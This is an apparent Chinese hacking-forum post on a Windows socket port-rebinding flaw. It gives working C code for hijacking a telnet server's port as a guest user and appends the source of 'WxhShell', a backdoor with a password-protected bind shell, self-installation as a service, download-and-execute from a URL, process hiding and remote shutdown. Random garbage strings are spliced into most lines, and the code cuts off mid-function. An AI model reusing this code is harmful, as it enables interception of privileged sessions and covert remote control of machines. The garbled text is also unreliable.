在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
4\otq%Y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\Q$HXK g(x9S'H3l saddr.sin_family = AF_INET;
Of}|ib^t k\r(=cex6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
?knYY>Kzh1 ;T +pu>) bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
j+4H}XyE *Ust[u 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
W
!}{$ B~o-l* 这意味着什么?意味着可以进行如下的攻击:
!p"aAZT7sq F_3:bX 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+/{L#e> H1:be.^YP 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
wNJzwC&iQ |`d0^(X 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
A
Io|TD5{~ '_P\#7$!MV 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
,zTb<g XL}"1lE 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
*>8ce-PV ZAKeEm2A 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
d 4?d4;{ RIn9(r 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5sO@OV\
y cgu~ #include
Y4.Eq+$gh #include
GwU?wIIj^ #include
M\<w#wZ #include
H].y w9 DWORD WINAPI ClientThread(LPVOID lpParam);
$(pF;_W int main()
;
0v>Rfa {
| t QiFC WORD wVersionRequested;
fnKY1y]2+ DWORD ret;
:aLT0q!K WSADATA wsaData;
6.1)IQkO BOOL val;
u"xJjS SOCKADDR_IN saddr;
po9
9 y- SOCKADDR_IN scaddr;
Z)9g~g94 int err;
{XurC}#\ SOCKET s;
R<ND=[}s SOCKET sc;
Bf`9V713 int caddsize;
=WZqQq{ HANDLE mt;
w~R`D DWORD tid;
MxQ?Sb%Gka wVersionRequested = MAKEWORD( 2, 2 );
[4&#*@ err = WSAStartup( wVersionRequested, &wsaData );
eW'2AT?2H% if ( err != 0 ) {
Os%n{_#8 printf("error!WSAStartup failed!\n");
/t<@"BoV return -1;
m#/_x }
<+j)P4O4 saddr.sin_family = AF_INET;
penlG36Q P,S
G.EFK //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
`Pn[tuIO hg@}@Wq\) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
3voT^o saddr.sin_port = htons(23);
7xo4-fIuT if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
RC#C\S6 {
NSAF4e printf("error!socket failed!\n");
y&[y=0! return -1;
|! SOG }
LA3<=R] val = TRUE;
)D-c]+yt //SO_REUSEADDR选项就是可以实现端口重绑定的
~tFqb<n if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
<|Yj%f {
rZPT89M6 printf("error!setsockopt failed!\n");
N/QiI.V6 return -1;
LK9g0_ }
wd@aw / //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
^rl"rEA //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
s?Uh| BfB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
r`S< A; A=zPLq{Sb if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
)2q~u%9n {
AdZ;j6# ret=GetLastError();
gd/H``x|Y printf("error!bind failed!\n");
#%@*p,xh return -1;
gwd (N }
nP~({:l8X listen(s,2);
6 Si-u while(1)
5v\!]?(O; {
w9RS)l2FQ caddsize = sizeof(scaddr);
5qUTMT['T //接受连接请求
vR6Bn sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
k^ F@X if(sc!=INVALID_SOCKET)
5l-mW0,MK {
8N%Bn& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
J/!cGr(B~ if(mt==NULL)
h_d +$W5 {
4F3x@H' printf("Thread Creat Failed!\n");
'uDjFQX break;
l&YKD,H}; }
_lKZmhi }
$2DuB CloseHandle(mt);
R
#]jSiS }
F(#rQ_z] closesocket(s);
ZPN
roCK` WSACleanup();
,bE$| x' return 0;
y;?ie]3G }
fEE
/-}d DWORD WINAPI ClientThread(LPVOID lpParam)
7r+g8+4 {
+z9@:L SOCKET ss = (SOCKET)lpParam;
P|2E2=G SOCKET sc;
,fIe&zq unsigned char buf[4096];
M~*u;vA/ SOCKADDR_IN saddr;
~n')&u{ long num;
IL/Yc1 DWORD val;
[
=x s4= DWORD ret;
Rv,JU6>i //如果是隐藏端口应用的话,可以在此处加一些判断
I
V%VU //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/y7M lU9 saddr.sin_family = AF_INET;
9mc!bj^811 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
W>(/ bX saddr.sin_port = htons(23);
./j,Z$| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
vzel# {
CBQhIvq.d printf("error!socket failed!\n");
SQ,?N
XZ return -1;
7+TiyY]K }
S_T^G` [ val = 100;
_qqr5NU if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$uui:wU%Q {
WnwhSr2 ret = GetLastError();
\k`n[{ return -1;
(C]
SH\ }
LWsP ya if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
']-@?sD$ {
CxhY$%C (L ret = GetLastError();
d8SE,A& return -1;
Q(d9n8 }
rKHY?{! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Fhz*&JC# {
}ZSQ>8a printf("error!socket connect failed!\n");
ffXyc2o closesocket(sc);
MaBYk?TR~ closesocket(ss);
vkS)E0s return -1;
/:6Wzj }
C.^Ven while(1)
-"Y{$/B {
D9mz9
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
j#~Jxv%n //如果是嗅探内容的话,可以再此处进行内容分析和记录
@\oz4^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
E+"dqSI/v num = recv(ss,buf,4096,0);
xCzebG[" if(num>0)
b96%") send(sc,buf,num,0);
B()/.w?A else if(num==0)
fW`&'! break;
1Kvx1p
num = recv(sc,buf,4096,0);
i`/+,< if(num>0)
b5m=7;u*h send(ss,buf,num,0);
.,~(%#Wl$ else if(num==0)
A`}yBSb break;
m|=Ecu }
S0g'r
!;6 closesocket(ss);
P X;Ed*y closesocket(sc);
/:<IIqO. return 0 ;
_UE)*l m+ }
Uw-p758dD hqk}akXt LAx4Xp/ ==========================================================
1iL'V-y ]J9cVp 下边附上一个代码,,WXhSHELL
133I.XBU `G1&Z]z ==========================================================
!|2VWI} kVI#(uO #include "stdafx.h"
E$a ?LFa6 S~qZr #include <stdio.h>
x5dWBGH #include <string.h>
Y
$g$x<7 #include <windows.h>
p\C%% #include <winsock2.h>
wpA`(+J #include <winsvc.h>
Z3;!l #include <urlmon.h>
C 8#@+ Q. ~9F ,% #pragma comment (lib, "Ws2_32.lib")
4E8JT#& #pragma comment (lib, "urlmon.lib")
IfO;S*Qt *F>v]8 #define MAX_USER 100 // 最大客户端连接数
vN4Qdpdb #define BUF_SOCK 200 // sock buffer
30PZ{c&Rll #define KEY_BUFF 255 // 输入 buffer
1tCQpf RUCPV[{b #define REBOOT 0 // 重启
(F7_S* #define SHUTDOWN 1 // 关机
+ SZYg[ 5_0(D;Q #define DEF_PORT 5000 // 监听端口
q;5i4| 41#w|L
\ #define REG_LEN 16 // 注册表键长度
%or,{mmiM: #define SVC_LEN 80 // NT服务名长度
,1q_pep~?% <";,GaZQ // 从dll定义API
t3Z_Dp~\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
=k3!RW' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
%2'A
pp typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
x\?;=@AW typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|o'Q62`%} J" j.'. // wxhshell配置信息
c8)/:xxl struct WSCFG {
5`~mmAUk;` int ws_port; // 监听端口
8$|8`;I( char ws_passstr[REG_LEN]; // 口令
""O" int ws_autoins; // 安装标记, 1=yes 0=no
)Fd
HV;K char ws_regname[REG_LEN]; // 注册表键名
I O%6 O char ws_svcname[REG_LEN]; // 服务名
dAP|:&y@ char ws_svcdisp[SVC_LEN]; // 服务显示名
#8{F9w<Rf char ws_svcdesc[SVC_LEN]; // 服务描述信息
!>x|7
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
7;.xc{ int ws_downexe; // 下载执行标记, 1=yes 0=no
-Z4{;I[Q@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
+u@aJ_^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
gADmN8G= .*=]gZ$IE };
k>}g\a, rA0,`}8\ // default Wxhshell configuration
N-lGa@ j struct WSCFG wscfg={DEF_PORT,
6*9}4` "xuhuanlingzhe",
0U66y6 1,
)PkNWj6%y "Wxhshell",
-B#yy]8 "Wxhshell",
g]* "WxhShell Service",
eRbGZYrJ "Wrsky Windows CmdShell Service",
4@ILw "Please Input Your Password: ",
|{g+Y 1,
GwsY-jf "
http://www.wrsky.com/wxhshell.exe",
BE&B}LfvfO "Wxhshell.exe"
Xqp|VbDca };
*fO3]+)d+ w)E@*h<Z // 消息定义模块
n<Svwa} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
wI M{pK char *msg_ws_prompt="\n\r? for help\n\r#>";
{vaaFs char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
c_{z(W" char *msg_ws_ext="\n\rExit.";
pDPxl?S char *msg_ws_end="\n\rQuit.";
`\=Gp'&Q+ char *msg_ws_boot="\n\rReboot...";
NIZ<0I*5 char *msg_ws_poff="\n\rShutdown...";
va/m~k|i char *msg_ws_down="\n\rSave to ";
Y9SGRV( (VyNvB char *msg_ws_err="\n\rErr!";
v8>v.}y char *msg_ws_ok="\n\rOK!";
U5Erm6U: t<uYM char ExeFile[MAX_PATH];
fBBa4"OK= int nUser = 0;
"_L?2ta HANDLE handles[MAX_USER];
#LcrI int OsIsNt;
DG(7|`(aY 0uVv<Q~ SERVICE_STATUS serviceStatus;
-O:_!\uA
SERVICE_STATUS_HANDLE hServiceStatusHandle;
hlvt$Jwq |sqZ $Mu // 函数声明
ZZ/cq:3$ P int Install(void);
@e~]t}fH int Uninstall(void);
OwzJO int DownloadFile(char *sURL, SOCKET wsh);
lM\LN^f5* int Boot(int flag);
zHB_{(o7 void HideProc(void);
z;]CmR@Ki int GetOsVer(void);
N)R[6u} int Wxhshell(SOCKET wsl);
q^8EOAvnZ void TalkWithClient(void *cs);
~Y=@$!Uq int CmdShell(SOCKET sock);
XA0(f* int StartFromService(void);
78n}rT%k1 int StartWxhshell(LPSTR lpCmdLine);
oC*ees
g_ L^kp8o^$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
2J;`m_oP VOID WINAPI NTServiceHandler( DWORD fdwControl );
@$Qof1j'% fi PIAT} // 数据结构和表定义
G"
b60RQ SERVICE_TABLE_ENTRY DispatchTable[] =
W:&R~R {
@mw "W{ {wscfg.ws_svcname, NTServiceMain},
~CRSL1? {NULL, NULL}
(lA.3 4.p };
VCNT4m qg z*'_S // 自我安装
NCeaL-y7 int Install(void)
OQ/<-+<w {
X CB?ll*^ char svExeFile[MAX_PATH];
r'/;O HKEY key;
rt]S\
strcpy(svExeFile,ExeFile);
oqkVYl E *#>F.#9 // 如果是win9x系统,修改注册表设为自启动
c"YXxAJ if(!OsIsNt) {
g]mtFrP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
s}M= oe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1.@vS&Y7OE RegCloseKey(key);
\v@({nB8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z{-Lc68 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.W\ve>; RegCloseKey(key);
,cTgR78' return 0;
1N`vCt]w }
@`u?bnx]e }
*a}(6Cx }
\jW)Xy else {
`T*U]/zQ 9G?ldp8 // 如果是NT以上系统,安装为系统服务
/z."l!u6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7D" %%|:
h if (schSCManager!=0)
D _X8- {
&!.HuRiuC SC_HANDLE schService = CreateService
9pWy"h$H (
n/e
BE q schSCManager,
8``;0}'PC wscfg.ws_svcname,
<~Qi67I wscfg.ws_svcdisp,
U0B2WmT~Q SERVICE_ALL_ACCESS,
wjU.W5IR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
UP1?5Q=H]Q SERVICE_AUTO_START,
I\P Bu$Ww SERVICE_ERROR_NORMAL,
2F_
R/{D svExeFile,
/4S;QEv NULL,
4 (?MUc NULL,
BW[5o3
i NULL,
=y ]Jl,_. NULL,
i`U:gw NULL
cH`^D?#se );
sOFa!bdPW if (schService!=0)
JXQPT {
,+/zH'U} CloseServiceHandle(schService);
;|ub!z9GG CloseServiceHandle(schSCManager);
X'sEE strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
U)jUq_LX strcat(svExeFile,wscfg.ws_svcname);
_]#klL if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Eyh|a.)- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
8m=Z|"H@ RegCloseKey(key);
0Vv9BL{ return 0;
*DeTqO65 }
<dR,' }
0`hwmDiB" CloseServiceHandle(schSCManager);
"Tbnxx]J }
uZjI?Z.A }
% +Pl+`?E vS;'}N return 1;
VC&c)X }
^tAO_~4 tiQ;#p7% // 自我卸载
Fxd{ Zk` int Uninstall(void)
q|#MB7e/ {
mMw;0/n HKEY key;
TYS\95< =v-2@=NJ`K if(!OsIsNt) {
_g|acBF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
a%,fXp> RegDeleteValue(key,wscfg.ws_regname);
q=c/B(II! RegCloseKey(key);
4I~i)EKy6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M]_E RegDeleteValue(key,wscfg.ws_regname);
jp<VK<s] RegCloseKey(key);
iLq#\8t^ return 0;
lglYJ, }
-f>'RI95> }
I lG:X)V% }
cy3ww}) else {
@ RR\lZ _vYzF+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
?X_V#8JK if (schSCManager!=0)
%]4-{%v {
\ElX~$fS SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1M5 -pZ[D if (schService!=0)
o" _=K%9 {
F|eu<^"$ H if(DeleteService(schService)!=0) {
B4W\
t{ CloseServiceHandle(schService);
2"/yEg*= CloseServiceHandle(schSCManager);
6 DP[g8 return 0;
>9(i)e }
\KM|f9-b CloseServiceHandle(schService);
F-0UdV }
k$[{n'\@ CloseServiceHandle(schSCManager);
'F_}xMU }
S ~|.&0"\ }
QlzQ]:dWC YdOUv|tZC return 1;
P#tvm, }
'V!kL,
9ES zXre~b03ZS // 从指定url下载文件
=HE
m) int DownloadFile(char *sURL, SOCKET wsh)
%?tq;~|]Q {
{yq8<? HRESULT hr;
TbNGgjT char seps[]= "/";
[&VxaJ("3 char *token;
lizTRVBE char *file;
!WKk=ysFS char myURL[MAX_PATH];
(K
#A char myFILE[MAX_PATH];
U"5q;9#q ])$S\fFm strcpy(myURL,sURL);
{+=i? token=strtok(myURL,seps);
`SOhG?Zo while(token!=NULL)
rz6jx {
D VwCx^ file=token;
DP>mNE token=strtok(NULL,seps);
\iZ1W }
FMS2.E njMLyT($ GetCurrentDirectory(MAX_PATH,myFILE);
nFXAF!,jj strcat(myFILE, "\\");
epVH.u% strcat(myFILE, file);
YNM\pX' send(wsh,myFILE,strlen(myFILE),0);
@d)a~[pm send(wsh,"...",3,0);
oh&Y<d0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
XZO<dhZX: if(hr==S_OK)
OV|Z=EwJ return 0;
yX9B97XyC else
_i@x@:_l return 1;
1q!sKoJ< M {x ie }
eTZ`q_LfI1 lIq~~cv) // 系统电源模块
D44I"TgqD int Boot(int flag)
G%OpO.Wf {
k+\7B}7F HANDLE hToken;
q3\!$IM. TOKEN_PRIVILEGES tkp;
I7Zq}Pxa 6y@<?08Q if(OsIsNt) {
iEhDaC[e(b OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Yq;&F0paK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
MVAc8d S tkp.PrivilegeCount = 1;
,k%8yK tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
nHU3%%%cU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Y n>{4BZ># if(flag==REBOOT) {
P1QB`&8F if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
[+DNM
2A return 0;
ayH>XwY6 }
'#f?#( else {
~~dfpW _" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
yS"0/Rm} return 0;
'%O\E{h }
&
=sa yP }
!:J<pWN" else {
qS82/e)7 if(flag==REBOOT) {
M=Is9)y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ddMM74 return 0;
p;ZDpR }
f[M"EMy else {
Ap,q
`S if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
K!b>TICa: return 0;
]}_,U!`8 }
HjPH }
L4mTs-M. hGKdGu`0 return 1;
.Bijc G }
@}{VM)Fc+ I)uASfT$ // win9x进程隐藏模块
Y;PDZbK3 void HideProc(void)
5oa]dco {
Sl~C0eO -(ER4# HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
h=mv9=x if ( hKernel != NULL )
<on)"{W13 {
mZ &] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
OAyE/Q| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?(M\:`G' FreeLibrary(hKernel);
[M2Dy{dh }
Ua!Odju*w F13%)G( return;
<v-92? }
"lb\c 6!o/~I# // 获取操作系统版本
h@/>?Va int GetOsVer(void)
LQ|<3] {
Ae3#>[]{ OSVERSIONINFO winfo;
9&[\*{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
3~8AcX@ GetVersionEx(&winfo);
ri;r7Y9V9` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
'4Y*-!9 return 1;
|W/Hi^YE2 else
n7'<3t return 0;
oPE.gn_$ }
/iTH0@Kw; N}1-2 // 客户端句柄模块
.y(@Y6hO int Wxhshell(SOCKET wsl)
^W{eO@ {
:'TX"E! SOCKET wsh;
@~Rk^/0 struct sockaddr_in client;
{S# 5g2 DWORD myID;
aGe \.A= Pyit87h{ while(nUser<MAX_USER)
r]Z.`}Kkm {
T&e%/ int nSize=sizeof(client);
DwQp$l'NfW wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
gB'`I(q5. if(wsh==INVALID_SOCKET) return 1;
1W4H-/Re sV;qpDXX handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
X]>[Qz)K^ if(handles[nUser]==0)
K T"h74@ closesocket(wsh);
]*;RHy9 else
~n)]dFy nUser++;
gS0,')w }
NdaM9a#TZ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
m}sh I8S +._f.BRmX. return 0;
_qdWQFuM }
^O?l9(=/u Z7ZWf'o // 关闭 socket
aj+zmk~- void CloseIt(SOCKET wsh)
I%C]>ZZh {
(u$!\fE-et closesocket(wsh);
c lq
<$-
nUser--;
8VKb* ExitThread(0);
bK6, saN> }
p` ^:Q*C" :Fq2x_IUE // 客户端请求句柄
ei(|5h void TalkWithClient(void *cs)
R#rh {
\Gv- sA s"gKonwI2 SOCKET wsh=(SOCKET)cs;
15RI(BN char pwd[SVC_LEN];
K4BTk! char cmd[KEY_BUFF];
iFXUKGiV char chr[1];
@faF`8LwA int i,j;
75' Ua$ ;g!xQvcR while (nUser < MAX_USER) {
8Fyc#Xo8 |v,}%UN2 if(wscfg.ws_passstr) {
$v2S;UB v* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%!1@aL]pQ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]M02>=1 //ZeroMemory(pwd,KEY_BUFF);
z0FR33- i=0;
X:iG[iU* while(i<SVC_LEN) {
%l0_PhAB Z%(Df3~gmm // 设置超时
jTGS6{E fd_set FdRead;
!:R^}pMhIk struct timeval TimeOut;
lU>)n FD_ZERO(&FdRead);
ci#Zvhtkr FD_SET(wsh,&FdRead);
K]lb8q}Z~ TimeOut.tv_sec=8;
_&6juBb TimeOut.tv_usec=0;
~`a#h# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
h/fb<jIP1 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$u(M 4(} hPNQGVv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_%C_uBLi pwd
=chr[0]; ]a&x'
if(chr[0]==0xd || chr[0]==0xa) { @8T
Vr2uy
pwd=0; qhv4R| )
break; il 8A&`%
} !M#?kKj
i++; m&;zLBA;
} Ix%"4/z>
Phk`=:xh
// 如果是非法用户,关闭 socket fbW,0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); woC
FN1W
} mRix0XBI~
l[ZQ7$kL
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !IQfeoT
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x(T!I&i={
'npT+p$V
while(1) { F5om-tzy
6jQ&dN{=qB
ZeroMemory(cmd,KEY_BUFF); ;+#za?w
M,=@|U/B
// 自动支持客户端 telnet标准 4OB~h]Vc
j=0; y"%iD`{
while(j<KEY_BUFF) {
QmDhZ04f
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QZz{74]n
cmd[j]=chr[0]; TWD|1
di0
if(chr[0]==0xa || chr[0]==0xd) { 3<Pyr-z h
cmd[j]=0; bRY4yT
break; ^+Y-=2u:
} .T
N`p*
j++; ),W(TL
}
.jrR4@
9, sCJ5bb"
// 下载文件 V8| q"UX
if(strstr(cmd,"http://")) { UlLM<33_)
send(wsh,msg_ws_down,strlen(msg_ws_down),0); jQw`*Y/,
if(DownloadFile(cmd,wsh)) $TH'"XK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,AFC 1t[0
else ~ L i%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D+@/x{wX2
} 7o 83|s.Bm
else { W6!4Qyn
!Sr0Im0
switch(cmd[0]) { , L AJ
&d &oP
// 帮助 {O3oUE+
case '?': { yScov)dp(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F"HI>t)>
break; 0'`8HP
} iMY0xf8l
// 安装 u"
NIG
case 'i': { )b:~kuHi
if(Install()) bl!f5RO S(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wvzzjcr(j
else N4JqW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q,`2DHhK
break; 3R$CxRc:
} &xMJ^Nv
// 卸载 }G:uzud10
case 'r': { S<bz7
k9
if(Uninstall()) 1Ag ;s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ofJ]`]~VG
else JQVw6*u{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;JD3tM<
break; Gh>fp
} r&l*.C*
// 显示 wxhshell 所在路径 `__?7"p
)\
case 'p': { E?c{02fu
char svExeFile[MAX_PATH]; GF/x;,Ae
strcpy(svExeFile,"\n\r"); I}]@e^ ~
strcat(svExeFile,ExeFile); gPhw.e""
send(wsh,svExeFile,strlen(svExeFile),0); )su
<Ji*
break; IP4b[|ef
} H2p XJ/XF
// 重启 ba)YbP[
case 'b': { r{N{!"G
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <:yq~?
if(Boot(REBOOT)) 6^z\;,p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i[BR(D&l_p
else { _XO)`D~
closesocket(wsh); Cx3m\
\c
ExitThread(0); YO!7D5rV #
} ^TCJh^4na
break; j[=_1~u}
} y:6'&`L
// 关机 _)Z7Le:f!
case 'd': { 1b]PCNz
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;h(;(
if(Boot(SHUTDOWN)) .0*CT:1=0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GPqB\bxb'
else { A(@gv8e[H^
closesocket(wsh); UEYM;$_@4o
ExitThread(0); <[B[
} =rO>b{,hs
break; o:Os_NaD
} {@F["YPxy
// 获取shell 8iH;GFNJ7'
case 's': { L)nVpqm
CmdShell(wsh); BnnUUaE
closesocket(wsh); q?]@' ^:;
ExitThread(0); <W[8k-yOV`
break; sq6% =(q(?
} Sph"w08
// 退出 o_Kc nVQ\
case 'x': { )s7 Tv#[
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "drh+oo.
CloseIt(wsh); dK(%u9v
break; j{w,<Wt>
} eYX_V6c
// 离开 ~m09yc d<
case 'q': { V1b_z
send(wsh,msg_ws_end,strlen(msg_ws_end),0); O> ^~SO
closesocket(wsh); D>#v 6XI
WSACleanup(); VOK$;s'9}
exit(1); f;XsShxr
break; \t(r@qq
} a=T7w;\h
} [W|7r
n,q
} 7te!>gUW
~Z/ `W`
// 提示信息 ~JRuMP
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =O:ek#Bp
} 4Z
p5o`*g2
} 88=FPEU
8cPf0p:
return;
Dmv
} $cpQ7
kkBV;v%a
// shell模块句柄 =28H^rK{
int CmdShell(SOCKET sock) 1eyyu!
{ `L[32B9
STARTUPINFO si; \ui~n:aWJ
ZeroMemory(&si,sizeof(si)); :a!a
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @DC2ci
>
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h|uP=0
PROCESS_INFORMATION ProcessInfo; e^Wv*OD'
char cmdline[]="cmd"; .O-DVW Cm
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9X&qdA/q
return 0; e`2R{H
} -V_S4|>
SR8Kzk{
// 自身启动模式 pC.4AkEO
int StartFromService(void) Py0i%pZ
{ )n[Mh!mn
typedef struct <mgTWv
{ WuZn|j'
DWORD ExitStatus; iZUz6
DWORD PebBaseAddress; \bl,_{z?
DWORD AffinityMask; *rKv`nva5
